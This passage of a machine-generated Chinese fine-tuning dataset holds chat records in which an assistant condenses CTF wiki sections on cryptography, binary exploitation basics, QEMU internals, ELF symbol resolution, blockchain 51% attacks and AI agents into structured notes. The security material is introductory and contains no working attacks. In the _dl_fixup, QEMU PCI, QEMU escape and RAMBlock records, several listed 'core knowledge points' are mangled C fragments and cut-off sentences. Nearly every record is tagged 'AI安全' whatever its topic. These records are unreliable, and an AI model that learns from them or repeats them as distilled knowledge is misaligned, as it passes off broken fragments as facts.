"ctf_task_type": "ai", "heading": "密码学简介", "heading_path": ["密码学简介"], "original_id": "docs-9758e303000b538eede5", "original_line": 201, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/introduction.md", "source_root": "docs", "source_sha256": "1a03de7a532962a42aa33f901e8af8a277162e5d73eead5a1b3234731ac00d52", "split": "train", "split_group_key": "bab524748fbd459e1818e6da", "subcategory": "crypto/introduction.md", "terms": ["堆", "密码学", "AI安全", "漏洞利用", "crypto", "introduction.md"], "title": "密码学简介"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-cd6ccdc663175cc6b1d3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/mode.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/mode.md`\n标题：CTF 竞赛模式简介\n章节：CTF 竞赛模式简介 > 攻防模式 - Attack & Defense > 概述\n路径分类：introduction / introduction/mode.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- 在攻防模式中，所有参赛队伍拥有相同的初始系统环境（包含若干服务，可能位于不同的机器上），常称为 gamebox，参赛队伍挖掘网络服务漏洞并攻击对手服务获取 flag 来得分，修补自身服务漏洞进行防御从而防止扣分（一般来说防御只能避免丢分，当然有的比赛在防御上可以得分）。\n- 在比赛开始的半小时内是无法进行攻击的，各支队伍都会加紧熟悉比赛网络环境，并做好防御准备。\n- 如果是分为上午下午两场攻防赛的话，那么上午和下午的 Gamebox 漏洞服务会更换（避免比赛中途休息时选手交流），但管理时要用的 IP 地址什么的不会改变，也就是 下午会换新题 。\n- 攻防模式可以实时通过得分反映出比赛情况，最终也以得分直接分出胜负，是一种竞争激烈，具有很强观赏性和高度透明性的网络安全赛制。\n- 一般情况下，主办方会提供网线，但并不会提供网线转接口，对于部分使用没有 RJ45 网口的笔记本设备的选手而言，其通常需要自行准备转换器。\n\n关键术语：\n- 漏洞利用\n- mode.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 629, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "ai", "heading": "概述", "heading_path": ["CTF 竞赛模式简介", "攻防模式 - Attack & Defense", "概述"], "original_id": "docs-a3040061e3a30367e388", "original_line": 531, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "source_root": "docs", "source_sha256": "9774ac81ffff01cd90bdfd0fb47d6ac1184f2be9bf8f65f821cbc367b8ac02d9", "split": "train", "split_group_key": "ff3e05b6aa79ec17cfa087e0", "subcategory": "introduction/mode.md", "terms": ["漏洞利用", "mode.md"], "title": "CTF 竞赛模式简介"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-ceab62a4ec182b6a22c8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/summary/get-address.md` 中的章节「Dump some useful offsets, given a libc ID. You can also provide your own names to dump.」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/summary/get-address.md`\n标题：获取地址\n章节：Dump some useful offsets, given a libc ID. You can also provide your own names to dump.\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Dump some useful offsets, given a libc ID. You can also provide your own names to dump.”展开。\n- ./dump __libc_start_main_ret system dup2 ``` 去 libc 的数据库中找到对应的和已经出现的地址一样的 libc，这时候很有可能是一样的。\n- 也可以使用如下的在线网站: - libcdb.com - libc.blukat.me 当然，还有上面提到的 https://github.com/lieanu/LibcSearcher。\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- user-mode\n- summary\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 241, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "Dump some useful offsets, given a libc ID. You can also provide your own names to dump.", "heading_path": ["Dump some useful offsets, given a libc ID. You can also provide your own names to dump."], "original_id": "docs-c5f4c0dd7f51af31288a", "original_line": 76, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/summary/get-address.md", "source_root": "docs", "source_sha256": "c00547636725754022c5f9f69d1acb2acd7e38a34861e6a0a6a0facd20ac6b04", "split": "train", "split_group_key": "19f2a87f695fbe34b09d6b1b", "subcategory": "pwn/linux/user-mode", "terms": ["AI安全", "pwn", "linux", "user-mode", "summary"], "title": "获取地址"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/summary/get-address.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-ceb60a3d33475a9b6342", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「3. 工具系统（Tools）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/introduction.md`\n标题：AI Agent\n章节：AI Agent > AI Agent 的系统架构 > 3. 工具系统（Tools）\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“3. 工具系统（Tools）”展开。\n- 常见工具包括： - 信息检索（Search / RAG） - 代码执行（Code Interpreter） - API 调用（如天气、地图、数据库等） - 外部软件操作（如浏览器、文件系统） 通过工具调用，Agent 可以突破 LLM 本身在实时性、精确计算与外部信息访问方面的限制。\n- 工具是 AI Agent 与外部环境交互的主要手段，也是其能力边界扩展的关键。\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 185, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "3. 工具系统（Tools）", "heading_path": ["AI Agent", "AI Agent 的系统架构", "3. 工具系统（Tools）"], "original_id": "docs-a3f6f1121eaea3cfc280", "original_line": 5, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "source_root": "docs", "source_sha256": "10c5f487d7f7a7848399d82c958a68f082b5cd409eb446fb771b97f564a5ce52", "split": "train", "split_group_key": "5d4d0ababe55838489f02b52", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "introduction.md"], "title": "AI Agent"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-d243d81e20f70911a933", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/linking/symbol-resolve.md` 中的章节「_dl_fixup」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/linking/symbol-resolve.md`\n标题：Symbol Resolution\n章节：endif > _dl_fixup\n路径分类：executable / executable/elf/linking\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“_dl_fixup”展开。\n- / Finally, fix up the plt itself. / // 修复 plt 表 if (__glibc_unlikely(GLRO(dl_bind_not))) return value;\n- #endif / Currently result contains the base load address (or link map) of the object that defines sym.\n- We must perform the relocation specified in the PLT of the given shared object, and return the resolved function address to the trampoline, which will restart the original call to that address.\n- Don't check for NULL map if MAP_SET is TRUE. / #define SYMBOL_ADDRESS(map, ref, map_set) \\ ((ref) == NULL ?\n- 0 \\ : (__glibc_unlikely((ref)->st_shndx == SHN_ABS) ?\n\n关键术语：\n- AI安全\n- 修复/缓解\n- executable\n- elf\n- linking\n- symbol-resolve.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 4366, "chunk_count": 2, "chunk_index": 1, "ctf_score": 14, "ctf_task_type": "ai", "heading": "_dl_fixup", "heading_path": ["endif", "_dl_fixup"], "original_id": "docs-b912a750ddd67eec0afc", "original_line": 455, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "source_root": "docs", "source_sha256": "af2f538caa3e68f7f0ed6d9fb7f77b950f3a11aa74906c2f7fe420e6d494a691", "split": "train", "split_group_key": "d1aa626366cdc690fd4487ae", "subcategory": "executable/elf/linking", "terms": ["AI安全", "修复/缓解", "executable", "elf", "linking", "symbol-resolve.md"], "title": "Symbol Resolution"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-d2c01b570faa10007312", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/others.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/others.md`\n标题：其它类型加密\n章节：其它类型加密 > 栅栏密码 > 原理\n路径分类：crypto / crypto/classical/others.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 这里给出一个例子 `` 明文：THERE IS A CIPHER ` 去掉空格后变为 ` THEREISACIPHER ` 分成两栏，两个一组得到 ` TH ER EI SA CI PH ER ` 先取出第一个字母，再取出第二个字母 ` TEESCPE HRIAIHR ` 连在一起就是 ` TEESCPEHRIAIHR ` 上述明文也可以分为2栏。\n- 栅栏密码把要加密的明文分成 N 个一组，然后把每组的第 1 个字连起来，形成一段无规律的话。\n- ` THEREIS ACIPHER ` 组合得到密文 ` TAHCEIRPEHIESR ``\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- classical\n- others.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `明文：THERE IS A CIPHER`\n- plain: 1 行，首行 `THEREISACIPHER`\n- plain: 1 行，首行 `TH ER EI SA CI PH ER`\n- plain: 2 行，首行 `TEESCPE`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 307, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "原理", "heading_path": ["其它类型加密", "栅栏密码", "原理"], "original_id": "docs-4cb9a6d2fb96be234740", "original_line": 368, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "source_root": "docs", "source_sha256": "fec39924776c8c5b10bcab7894ea71cb2fc1da23f7e37fe39babf9d7dda47d46", "split": "train", "split_group_key": "4bc6142fc1fa6c8224d4d3ba", "subcategory": "crypto/classical/others.md", "terms": ["密码学", "AI安全", "crypto", "classical", "others.md"], "title": "其它类型加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-d2df7dbcb77628b730ff", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「Qemu 中 PCI 设备的编写」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`\n标题：编写 QEMU 模拟设备\n章节：编写 QEMU 模拟设备 > Qemu 中 PCI 设备的编写\n路径分类：pwn / pwn/virtualization/qemu\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“Qemu 中 PCI 设备的编写”展开。\n- de  #include  #include  #include  int main(int argc, char argv, char envp) { unsigned short port_addr;\n- } int main(int argc, char argv, char envp) { uint32_t mmio_addr;\n- if (dev_fd < 0) { puts(\"[x] failed to open mmio file!\n- if (mmio_addr == MAP_FAILED) { puts(\"failed to mmap!\n- if (argc < 2) { puts(\"[x] no port provided!\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- qemu\n- environment\n\n代码/命令片段线索：\n- plain: 1 行，首行 `> MMIO，使用 mmap 映射 `sys` 目录下设备的 `resource0` 文件即可直接读写`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1859, "chunk_count": 2, "chunk_index": 1, "ctf_score": 14, "ctf_task_type": "ai", "heading": "Qemu 中 PCI 设备的编写", "heading_path": ["编写 QEMU 模拟设备", "Qemu 中 PCI 设备的编写"], "original_id": "docs-61ccc47a46a1be678665", "original_line": 1435, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "source_root": "docs", "source_sha256": "2dd89f4d0e692cd2b5368ed9171ed8032c6dec86399f5d12280fb17b811fa39c", "split": "train", "split_group_key": "609a672d028135740cf7c7a1", "subcategory": "pwn/virtualization/qemu", "terms": ["AI安全", "pwn", "virtualization", "qemu", "environment"], "title": "编写 QEMU 模拟设备"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-d4b14250f028ed52a26c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/exploitation/intro.md` 中的章节「交互方式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/exploitation/intro.md`\n标题：QEMU 逃逸入门\n章节：QEMU 逃逸入门 > 例题：BlizzardCTF2017 - Strng > 交互方式\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“交互方式”展开。\n- QEMU pwn 的漏洞通常出现在一个自定义 PCI 设备中，我们可以通过 lspci 命令查看现有的 PCI 设备，在每个设备开头都可以看到形如 xx:yy.z 的十六进制编号，这个格式其实是 总线编号:设备编号.功能编号，当我们使用 lspci -v 查看 PCI 设备信息时，在总线编号前面的 4 位数字便是 PCI 域的编号。\n- } int main(int argc, char argv, char envp) { uint32_t pmio_port = 0xc050;\n- //... if (iopl(3) < 0) { errExit(\"failed to change i/o privilege!\n- } int main(int argc, char argv, char envp) { uint64_t mmio_addr;\n- if (mmio_fd < 0) { errExit(\"failed to open mmio file!\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- virtualization\n- qemu\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 19 行，首行 `void pmio_write(uint32_t port, uint32_t val)`\n- c: 26 行，首行 `void mmio_write(uint32_t *addr, uint32_t val)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5193, "chunk_count": 2, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "ai", "heading": "交互方式", "heading_path": ["QEMU 逃逸入门", "例题：BlizzardCTF2017 - Strng", "交互方式"], "original_id": "docs-5b190b75b5d4629e3254", "original_line": 78, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/exploitation/intro.md", "source_root": "docs", "source_sha256": "f8edae8145f64459b4f5d57c8bc964a29898ad933446596b2896c97172be14e7", "split": "train", "split_group_key": "7931f62af75c71c2d92b0023", "subcategory": "pwn/virtualization/qemu", "terms": ["AI安全", "漏洞利用", "pwn", "virtualization", "qemu", "exploitation", "code:c"], "title": "QEMU 逃逸入门"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/exploitation/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-d588e98cd502e72dc7b4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/publicblockchain/weaknesses.md` 中的章节「51% attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/publicblockchain/weaknesses.md`\n标题：Blockchain Weaknesses\n章节：Blockchain Weaknesses > Double-spending attack > 51% attack\n路径分类：blockchain / blockchain/publicblockchain/weaknesses.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“51% attack”展开。\n- 51％攻击通是指矿工试图控制超过50％的哈希率（挖矿算力）来实现双花，在此攻击中，攻击者可以阻止新交易被确认或撤销他们控制网络时已经确认的交易。\n- 因此攻击者在与商家完成交易后从交易前分叉区块并通过掌握的足够多的算力持续挖出更长的链使发生交易所在的链丢弃来实现双花。\n- 理论上无法通过技术来防范51%攻击，而是通过经济学原理来避免，使达到全网51%的算力成本非常高，且拥有如此强大算力的攻击者进行正常挖矿比作恶作的收益更高。\n- 但对于小规模的山寨币来说，攻击成本较低，如Ethereum Classic网络曾遭受多次51%攻击。\n- 参阅: https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power - 题目名称 miniblockchain\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- publicblockchain\n- weaknesses.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 455, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "51% attack", "heading_path": ["Blockchain Weaknesses", "Double-spending attack", "51% attack"], "original_id": "docs-cd4d1a46d8008d0d908b", "original_line": 190, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/publicblockchain/weaknesses.md", "source_root": "docs", "source_sha256": "b1774aa1b004a4cec3c24fd8294d01a05dae6adac2a50593cc482ec59699b67b", "split": "train", "split_group_key": "7fb454d24385cfbaa4706336", "subcategory": "blockchain/publicblockchain/weaknesses.md", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "publicblockchain", "weaknesses.md"], "title": "Blockchain Weaknesses"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/publicblockchain/weaknesses.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-d60eed0ed509023a31bd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/basic-knowledge.md` 中的章节「基本模型」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/basic-knowledge.md`\n标题：虚拟化技术简介\n章节：虚拟化技术简介 > 系统虚拟化概述 > 基本模型\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本模型”展开。\n- 由此我们便获得了系统虚拟化的经典模型——Trap & Emulate： - 我们将操作系统分为两个运行模式：「用户模式（user mode）」与「特权模式（privileged mode）」，在用户模式下只能直接执行非特权指令，当执行到特权指令时便会触发异常，从而陷入特权模式对应的处理代码中。\n- 对于一台计算机，我们可以简单地抽象成下图所示的三层模型，从下往上分别是物理硬件层、操作系统层、应用程序层，因此我们可以把一个虚拟机实例看作是一台具有如图所示层次的逻辑的计算机： [图片文件: ./figure/computer.png] 但虚拟机的运行是需要有物理环境所支撑的，同时虚拟机实例也是不可能凭空出现/凭空消失的，因此接下来我们引入一个新的概念——VMM，即 Virtual Machine Monitor，又称 Hypervisor，这是一个介于 VM 与硬件中间的软件层，其负责 VM 的创建、销毁等...\n- 因此，若一个架构中所有的特权指令都是敏感指令，则我们可以使用特权级压缩（Ring Compression）的方式来实现虚拟环境： - VMM 运行在最高特权级上，Guest VM 运行在低特权级上，当 Guest VM 执行到敏感指令时，其便会陷入位于最高特权级的 VMM，此时便能由 VMM 模拟敏感指令的行为。\n- Guest VM 运行在用户模式下，从而使得普通指令可以直接放在 CPU 上执行，当 Guest VM 执行到敏感指令时，便会触发异常，此时由 VMM 介入并模拟其应有的行为。\n- 我们首先给虚拟机下一个定义： - 虚拟机（Virtual Machine）是计算机的虚拟化实例，拥有自己的虚拟硬件（如 CPU、内存、设备等），可执行与计算机几乎完全相同的功能，包括运行应用和操作系统。\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- basic-knowledge\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1939, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "基本模型", "heading_path": ["虚拟化技术简介", "系统虚拟化概述", "基本模型"], "original_id": "docs-f3574b022a5decbaff70", "original_line": 1397, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/basic-knowledge.md", "source_root": "docs", "source_sha256": "619fccbfece3102f0009849757825463f93f506d6998632a4ef736e1785d56a8", "split": "train", "split_group_key": "05319a766e1e46d3625817c3", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["AI安全", "pwn", "virtualization", "basic-knowledge", "basic-knowledge.md"], "title": "虚拟化技术简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-d7bdf1cbc2abbeaa3b93", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/basic-knowledge/mm.md` 中的章节「RAMBlock：MR 对应的 Host 虚拟内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/basic-knowledge/mm.md`\n标题：QEMU 内存管理\n章节：QEMU 内存管理 > host VMM 视角（HVA） > RAMBlock：MR 对应的 Host 虚拟内存\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“RAMBlock：MR 对应的 Host 虚拟内存”展开。\n- Receiving any page beyond this length will bail out, as it could not have been valid on the source. */ ram_addr_t postcopy_length;\n- On destination side, this should always be NULL, and the variable clear_bmap_shift' is meaningless. / unsigned long clear_bmap;\n- 比较重要的成员如下： - mr：该 RAMBlock 对应的 MemoryRegion（即 HVA → GPA） - host：GVA 对应的 HVA，通常由 QEMU 通过 mmap() 获得（如果未使用 KVM） ``c struct RAMBlock { struct rcu_head rcu;\n- void (resized)(const char, uint64_t length, void host);\n- / RCU-enabled, writes protected by the ramlist lock / QLIST_ENTRY(RAMBlock) next;\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- qemu\n- basic-knowledge\n- code:c\n\n代码/命令片段线索：\n- c: 49 行，首行 `struct RAMBlock {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2156, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "RAMBlock：MR 对应的 Host 虚拟内存", "heading_path": ["QEMU 内存管理", "host VMM 视角（HVA）", "RAMBlock：MR 对应的 Host 虚拟内存"], "original_id": "docs-c5b062574cc5a0915b8e", "original_line": 1427, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/mm.md", "source_root": "docs", "source_sha256": "b0f49a5297d0248bb6c398aae5db06293db7c6aa0ea8235507cd7252e3b7b406", "split": "train", "split_group_key": "cc9eed575fd15cd5d38a1f4a", "subcategory": "pwn/virtualization/qemu", "terms": ["AI安全", "pwn", "virtualization", "qemu", "basic-knowledge", "code:c"], "title": "QEMU 内存管理"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/mm.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-d894383429559704c9fe", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/discrete-log/discrete-log.md` 中的章节「Pohlig-Hellman algorithm」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/discrete-log/discrete-log.md`\n标题：离散对数\n章节：离散对数 > 离散对数求解方式 > Pohlig-Hellman algorithm\n路径分类：crypto / crypto/asymmetric/discrete-log\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Pohlig-Hellman algorithm”展开。\n- 文件: figure/Pohlig-Hellman-Diagram.png]  其复杂度为$O\\left(\\sum\\limits _i e_i\\left(\\log n+\\sqrt{p_i}\\right)\\right)$，可以看出复杂度还是很低的。\n- 上述过程可用下图简单描述： 
